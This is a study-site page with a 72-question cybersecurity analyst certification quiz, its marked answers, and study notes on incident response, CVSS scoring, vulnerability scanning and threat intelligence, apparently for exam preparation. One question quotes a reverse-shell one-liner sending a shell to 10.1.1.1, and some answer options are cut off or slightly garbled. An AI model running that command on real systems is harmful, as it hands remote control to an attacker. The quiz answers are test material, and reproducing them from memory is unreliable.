Cybersecurity Vulnerability Assessment Quiz
72 Questions
0 Views

Choose a study mode

Play Quiz
Study Flashcards
Spaced Repetition
Chat to lesson

Podcast

Play an AI-generated podcast conversation about this lesson

Questions and Answers

Which of the following is the best way to begin preparation for a report titled 'What We Learned' regarding a recent incident involving a cybersecurity breach?

  • Include a table of contents outlining the entire report
  • Include references and sources of information on the first page
  • Determine the sophistication of the audience that the report is meant for (correct)
  • Decide on the color scheme that will effectively communicate the metrics

    • Which of the following actions would allow the analyst to gather intelligence without disclosing information to the attackers?

  • Send the binaries to the antivirus vendor
  • Upload the binary to an air-gapped sandbox for analysis (correct)
  • Execute the binaries on an environment with internet connectivity
  • Query the file hashes using VirusTotal

    • Which of the following would help to minimize human engagement and aid in process improvement in security operations?

  • QVVASP
  • OSSTMM
  • SOAR (correct)
  • SIEM

    • Which of the following risk management principles did the CISO select after refusing a software request due to a high risk score?

    <p>Avoid</p> Signup and view all the answers

    Which of the following is an important aspect that should be included in the lessons-learned step after an incident?

    <p>Identify any improvements or changes in the incident response plan or procedures</p> Signup and view all the answers

    Which of the following will best achieve the goal of consolidating several threat intelligence feeds?

    <p>Single pane of glass</p> Signup and view all the answers

    Which of the following would a security analyst most likely use to compare TTPs between different known adversaries of an organization?

    <p>MITRE ATT&amp;CK</p> Signup and view all the answers

    Which of the following steps of the process does isolating and actively removing a vulnerability from the system describe?

    <p>Eradication</p> Signup and view all the answers

    Which of the following would be the best action for the incident response team to recommend regarding Joe's situation?

    <p>Perform no action until HR or legal counsel advises on next steps</p> Signup and view all the answers

    Which is the best priority based on common attack frameworks for a zero-trust approach?

    <p>Reduce the administrator and privileged access accounts</p> Signup and view all the answers

    Which of the following actions should the analyst take first to understand the recent security incident?

    <p>Clone the virtual server for forensic analysis</p> Signup and view all the answers

    Which of the following is the most likely explanation for outgoing HTTPS connections from a server during and after hours?

    <p>C2 beaconing activity</p> Signup and view all the answers

    Which of the following will most likely ensure new employees are accountable for following the company policy regarding personal webcams?

    <p>All new employees must sign a user agreement to acknowledge the company security policy</p> Signup and view all the answers

    Which of the following would be the best threat intelligence source to learn about a new ransomware campaign?

    <p>Information sharing organization</p> Signup and view all the answers

    Which of the following is the most likely reason to include lessons learned in an after-action report?

    <p>To identify areas of improvement in the incident response process</p> Signup and view all the answers

    According to the vulnerability management team's third-party scoring system, which vulnerabilities should be patched first?

    <p>InLoud: Cobain: Yes, Grohl: No, Novo: Yes, Smear: Yes, Channing: No</p> Signup and view all the answers

    What has the user become by downloading malware that infects other systems?

    <p>Insider threat</p> Signup and view all the answers

    What should the CSIRT conduct next after a security analyst has isolated a compromised server?

    <p>Take a snapshot of the compromised server and verify its integrity</p> Signup and view all the answers

    During an incident, which must be collected first in a computer system related to its volatility level?

    <p>Running processes</p> Signup and view all the answers

    Which shell script function could help identify possible network addresses from different source networks belonging to the same company?

    <p>function x() { b=\</p> Signup and view all the answers

    Which of the following functions would help identify IP addresses from the same country?

    <p>function x() { info=\</p> Signup and view all the answers

    Which action should be completed first to remediate findings from a web server vulnerability assessment?

    <p>Perform proper sanitization on all fields</p> Signup and view all the answers

    What is the most likely vulnerability when observing the debugger command output?

    <p>Hard-coded credential</p> Signup and view all the answers

    Which is the best action to take immediately when ransomware affects a web server?

    <p>Quarantine the server</p> Signup and view all the answers

    Which would be missing from a vulnerability scan performed with just the configuration settings?

    <p>Registry key values</p> Signup and view all the answers

    Which method should be used to resolve an incomplete list of vulnerability findings reported?

    <p>Credentialed scan</p> Signup and view all the answers

    What best describes the activity observed by the analyst while reviewing SIEM logs?

    <p>Data exfiltration</p> Signup and view all the answers

    Which best describes the output analyzed during a PCI audit?

    <p>The host is allowing insecure cipher suites</p> Signup and view all the answers

    Which of the following CVE metrics would be most accurate for a zero-day vulnerability that requires no user interaction, has significant impact on confidentiality and integrity, but not on availability?

    <p>CVSS: 31/AV: N/AC: L/PR: N/UI: N/S: U/C: H/I: H/A: L</p> Signup and view all the answers

    Which of the following tools would work best to prevent the exposure of PII outside of an organization?

    <p>DLP</p> Signup and view all the answers

    Which of the following tuning recommendations should a security analyst share after a web application vulnerability assessment?

    <p>Configure an Access-Control-Allow-Origin header to authorized domains</p> Signup and view all the answers

    Which of the following items should be included in a vulnerability scan report? (Choose two)

    <p>Risk score</p> Signup and view all the answers

    Which of the following would best protect an organization from exploitation occurring approximately 45 days after a patch was released?

    <p>A mean time to remediate of 30 days</p> Signup and view all the answers

    Given a production script, which scripting language is most likely being used?

    <p>Python</p> Signup and view all the answers

    Which of the following most likely describes the activity of user accounts compromised with intermittent access to the company's internal portal?

    <p>An on-path attack is being performed by someone with internal access that forces users into port 80</p> Signup and view all the answers

    Which of the following items should be included in a vulnerability scan report? (Choose two)

    <p>Affected hosts</p> Signup and view all the answers

    Which of the following will most likely ensure that mission-critical services are available in the event of an incident?

    <p>Disaster recovery plan</p> Signup and view all the answers

    Which of the following solutions will assist in reducing the risk of shadow IT in the enterprise?

    <p>Deploy a CASB and enable policy enforcement</p> Signup and view all the answers

    Which of the following logs should an incident response team review first after a DDoS attack?

    <p>DNS</p> Signup and view all the answers

    What stage of the Cyber Kill Chain is a threat actor likely in after gaining access to an internal network via social engineering?

    <p>Exploitation</p> Signup and view all the answers

    An analyst finds that an IP address outside of the company network is running vulnerability scans against external-facing assets. Which step of an attack framework is being observed?

    <p>Reconnaissance</p> Signup and view all the answers

    What best describes the emails targeting only administrators with concealed URLs?

    <p>Obfuscated links</p> Signup and view all the answers

    Which of the following recommendations would best mitigate recurring vulnerabilities in a critical application if applied during the SDLC phase?

    <p>Use application security scanning as part of the pipeline for the CI/CD flow</p> Signup and view all the answers

    What inhibitors to remediation are represented by systems that cannot be upgraded due to a vendor appliance not accessible?

    <p>Proprietary systems</p> Signup and view all the answers

    What accurately describes the results of a Nmap scan that identifies XSS vulnerabilities?

    <p>The vulnerable parameter and characters '&gt;' and '&quot;' with a reflected XSS attempt</p> Signup and view all the answers

    Which action is best after concluding a security incident to improve future incident response?

    <p>Schedule a review with all teams to discuss what occurred</p> Signup and view all the answers

    What is the best technique to analyze a malicious binary file?

    <p>Reverse engineering</p> Signup and view all the answers

    What should be collected first to preserve sensitive information before isolating a compromised server?

    <p>Hard disk</p> Signup and view all the answers

    Which security operations tasks are ideal for automation?

    <p>Email header analysis</p> Signup and view all the answers

    Which group should an organization report a breach of customer transactions to under PCI DSS?

    <p>Card issuer</p> Signup and view all the answers

    What is the best metric for an organization focusing on recent investments in SIEM, SOAR, and a ticketing system?

    <p>Mean time to detect</p> Signup and view all the answers

    What implication should be considered when a company transitions its vulnerability management program to a hybrid IaaS cloud environment?

    <p>Cloud-specific misconfigurations may not be detected by the current scanners</p> Signup and view all the answers

    What processes should be followed to address a security alert triggered from a user accessing a prohibited website?

    <p>Create a timeline of events detailing the date stamps, user account hostname, and IP information associated with the activities</p> Signup and view all the answers

    What is the first step that should be performed when establishing a disaster recovery plan?

    <p>Agree on the goals and objectives of the plan</p> Signup and view all the answers

    What should a technician do next after identifying a vulnerability on a server and applying a software patch?

    <p>Validation</p> Signup and view all the answers

    What occurred according to a review of an endpoint log entry?

    <p>New account introduced</p> Signup and view all the answers

    What best describes a security program achieving a 30% improvement in MTTR by integrating security controls into a SIEM?

    <p>Single pane of glass</p> Signup and view all the answers

    Given the output from an Nmap scan, which device should an analyst investigate first?

    <p>wh4dc-748gy.lan (192.168.86.152)</p> Signup and view all the answers

    What is the first action that must be taken when starting an investigation?

    <p>Secure the scene</p> Signup and view all the answers

    Which action should a CSIRT lead take when determining communication during a security incident?

    <p>Review what is documented in the incident response policy or plan</p> Signup and view all the answers

    Which source will produce the data needed for an executive briefing on possible threats to the organization?

    <p>Indicators of compromise</p> Signup and view all the answers

    What best describes internal device sending HTTPS traffic with additional characters in the header to a known-malicious IP?

    <p>Beaconing</p> Signup and view all the answers

    What can a security analyst perform to see the contents of files downloaded in an FTP session during a Wireshark analysis?

    <p>Change the display filter to ftp-data and follow the TCP streams</p> Signup and view all the answers

    What document should a SOC manager review to ensure the team meets contractual obligations after a customer vulnerability report?

    <p>SLA</p> Signup and view all the answers

    Which phase of the Cyber Kill Chain involves the adversary trying to establish communication with a targeted object?

    <p>Command and control</p> Signup and view all the answers

    Which vulnerability scanning method would best suit a company with a dynamic IP and a diverse workforce?

    <p>Agent-based</p> Signup and view all the answers

    Analyzing the command 'sh -i >& /dev/udp/10.1.1.1/4821 0>&1', what is being attempted?

    <p>Reverse shell</p> Signup and view all the answers

    What factor is likely the reason for a CVE score escalation from 7.1 to 9.8 due to a widely available exploit?

    <p>Weaponization</p> Signup and view all the answers

    Which server should be prioritized for patching based on vulnerability report entries?

    <p>54.74.110.26</p> Signup and view all the answers

    What scanning method can reduce access to sensitive systems while providing accurate vulnerability results?

    <p>Credentialed network scanning</p> Signup and view all the answers

    What shell function can be used to identify network routing anomalies most accurately?

    <p>function x() { info= $(dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F &quot;.in-addr&quot; '{print $1}').origin.asn.cymru.com TXT +short) &amp;&amp; echo &quot;$1 | $info&quot; }</p> Signup and view all the answers

    What controls would best support a company's security posture against threats of sensitive information disclosure via file sharing?

    <p>Access control restrictions</p> Signup and view all the answers

    Study Notes

    Vulnerability and Cybersecurity Metrics

    • Recent zero-day vulnerabilities can be accurately rated using CVSS metrics reflective of their impact on confidentiality and integrity.
    • Understanding CVSS attributes such as Attack Vector (AV), Access Complexity (AC), and User Interaction (UI) is crucial for assessment.
    • Metrics like Mean Time To Detect (MTTD) and Mean Time To Remediate (MTTR) inform security success in patch management and incident response.

    Tools for Data Protection

    • Data Loss Prevention (DLP) tools significantly mitigate the risk of exposing Personally Identifiable Information (PII).
    • Authentication methods like Multi-Factor Authentication (MFA) strengthen access control but may not prevent data leaks.

    Web Application Security

    • Implementing HTTP security features like the HttpOnly flag and X-Frame-Options is vital to prevent vulnerabilities.
    • Access-Control-Allow-Origin headers must be configured correctly to minimize cross-origin risks.

    Incident Response and Vulnerability Scanning

    • Reports from vulnerability scans should include affected hosts and risk scores to prioritize remediation.
    • Successful incident management relies on having a Business Continuity Plan (BCP) and a Disaster Recovery Plan (DRP) to respond to incidents effectively.

    Shadow IT and Application Security

    • Deploying a Cloud Access Security Broker (CASB) helps manage risks from shadow IT by enforcing compliance and visibility over cloud applications.
    • Continuous monitoring and evaluation of vulnerabilities in public cloud environments are essential for security.

    Attack Frameworks and Kill Chain

    • Understanding the Cyber Kill Chain phases aids in defending against attacks; recognizing each stage can enhance defenses.
    • Being able to identify reconnaissance activities signifies potential pre-attack behaviors.

    Email Security Threats

    • Threats like social engineering attacks target administrators through targeted emails with concealed URLs.
    • Monitoring email traffic is vital to detect anomalies and emerging phishing campaigns.

    Security Automation and Metrics

    • Automation in security operations improves efficiency for tasks such as firewall IoC blocking and suspicious file analysis.
    • Establishing key performance indicators such as Mean Time To Detect helps gauge the effectiveness of security investments.

    Incident Investigation Compliance

    • Ensuring privacy during investigations is essential; maintaining user anonymity by password protecting evidence supports compliance with HR policies.
    • First responders must secure the scene and establish protocols for evidence collection.

    Vulnerability Management Considerations

    • Transitioning to a hybrid cloud environment requires assessing cloud-specific misconfigurations that existing tools may miss.
    • Conducting credentialed scans can yield accurate results while minimizing access to sensitive data.

    Improvement Post-Incident

    • Reviews post-incident are crucial for refining future responses and often involve cross-team collaborations to assess effectiveness.
    • Incorporating insight into incident reports not only prepares for future breaches but also ensures organizational learning.

    Security Control Implementation

    • Training employees on data handling and sharing can significantly improve awareness of risks linked to file sharing services.
    • Establishing robust authentication procedures can help safeguard sensitive data against unauthorized access.

    Executive Communication

    • Effective executive communications should focus on curated data from risk assessments, ensuring audiences are adequately informed.
    • Communication guidelines during incidents should follow established policies for transparency while protecting sensitive information.

    Automated Tools and Frameworks

    • Implementing Security Orchestration, Automation and Response (SOAR) solutions can minimize human errors and streamline security processes.
    • Analyzing security tasks through automated frameworks enhances operational efficiency and reduces response times.

    Risk Management Decisions

    • Decisions on software requests must consider principles like risk avoidance to ensure organizational safety and compliance.
    • Evaluating potential software risks involves balancing acceptance and transfer strategies according to organizational tolerance for vulnerabilities.### Incident Response and Security Procedures
    • Improve incident response plans to enhance effectiveness.
    • Identify and rectify any internal mistakes, focusing on accountability.
    • Assemble legal evidence for law enforcement to aid potential prosecutions.
    • Evaluate financial impact to assess the viability of security investments.

    Threat Intelligence Management

    • Consolidate threat intelligence feeds through a single pane of glass for efficiency.
    • Security analysts rely on the MITRE ATT&CK framework for comparing TTPs among adversaries.
    • Utilize data enrichment and deduplication to streamline threat data analysis.

    Incident Remediation Phases

    • Eradication step involves isolating and removing vulnerabilities from a system.
    • Decision-making for suspected insider threats should consult HR or legal counsel before actions.

    Zero-Trust Approach Implementation

    • Prioritize reducing privileged access accounts to strengthen defenses against attacks.

    Incident Analysis and Forensic Procedures

    • Clone compromised servers for forensic analysis before initiating any recovery processes.
    • Analyze logs for potential indicators of compromise rather than restoring immediately.

    Outbound Network Traffic Analysis

    • Regular unwanted outgoing HTTPS traffic may suggest command and control (C2) beaconing activity or data exfiltration.

    Employee Compliance with Security Policies

    • Ensure new employees acknowledge company security policies through user agreements or testing.

    Threat Intelligence Sources

    • Preferred intelligence source for assessing ransomware threats includes information-sharing organizations.

    After-Action Reports Post-Incident

    • Compile lessons learned post-incident to improve overall incident response frameworks.

    Vulnerability Management Prioritization

    • Use severity scores to prioritize patching of vulnerabilities, focusing on the most critical first.

    User Behavior and Threat Classification

    • Users inadvertently downloading malware can be classified as insider threats.

    CSIRT Protocol Following a Compromise

    • Upon isolating a compromised server, the next step is taking a snapshot to assess integrity.

    Evidence Collection in Incident Response

    • Collect volatile data first, such as running processes, to preserve crucial evidence.

    Shell Scripting for Network Address Identification

    • Utilize specific shell script functions to identify potential IP addresses from the same source network.

    Remediation of Web Server Vulnerabilities

    • Perform sanitization on all fields rather than simply updating content or improving access controls.

    Vulnerability and Exploit Investigation

    • Look for signs of SQL injection vulnerabilities in suspicious log entries to validate exploit attempts.

    Handling of Obsolete Security Devices

    • Decommission unutilized proxies with high CVE scores to eliminate security risks.

    Incident Reporting Accuracy

    • Maintaining a well-defined event timeline is essential for producing accurate incident response reports.

    Mitigation of Scanning Activities

    • Geoblocking or IP range blocking can help neutralize unwanted scanning activity from external sources.

    Evidence Preservation in Investigations

    • Creating a forensic image of devices and imposing legal holds ensures evidence integrity during investigations.

    Remediation Priorities in Vulnerability Management

    • Address vulnerabilities based on their exploitability and the business impact they pose.

    Validating Vulnerabilities in Web Applications

    • Security analysts validate potential false positives in vulnerability scans by examining for specific types like XSS.

    Immediate Actions During Ransomware Incidents

    • Quarantine affected servers immediately to prevent lateral movement of ransomware.

    Network Scan Implementation

    • Credentialed scans yield more comprehensive vulnerability assessments by revealing detailed system configurations.

    SIEM Log Monitoring

    • Consistent requests to blocklisted external servers from internal hosts may indicate data exfiltration or rogue device activity.

    Analysis of PCI Audit Outputs

    • Network mapping shows compliance issues such as insecure cipher suites or closed ports, impacting overall security posture.

    Studying That Suits You

    Use AI to generate personalized quizzes and flashcards to suit your learning preferences.

    Quiz Team

    Related Documents

    Questions1-155.docx

    Description

    Test your knowledge on zero-day vulnerabilities and CVSS metrics. This quiz covers scenarios where vulnerabilities are actively exploited and their impacts on confidentiality, integrity, and availability. Understand how to assess and classify these threats effectively.

    More Like This

    Use Quizgecko on...
    Browser
    Open
    Browser
    Browser